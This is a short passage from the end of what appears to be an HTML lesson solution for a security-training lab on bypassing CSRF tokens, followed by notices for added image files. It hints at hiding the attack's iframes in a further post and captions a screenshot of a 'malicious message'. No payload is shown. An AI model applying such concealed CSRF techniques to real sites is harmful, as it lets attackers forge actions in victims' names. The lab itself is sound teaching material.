the results of the CSRF attack. Try another post that will hide these iframes from being noticed.
<p>The next picture shows inserting this code into a message:<br/>
<img src="lesson_solutions/CsrfTokenByPass_files/tokenHacked.png" alt="Picture of the results of viewing the malicious message" /><br>
<font size="2"><b>Results of viewing the malicious message</b></font>
</p>
</body>
</html>

Binary file not shown.

After

Width:  |  Height:  |  Size: 237 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 312 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 228 KiB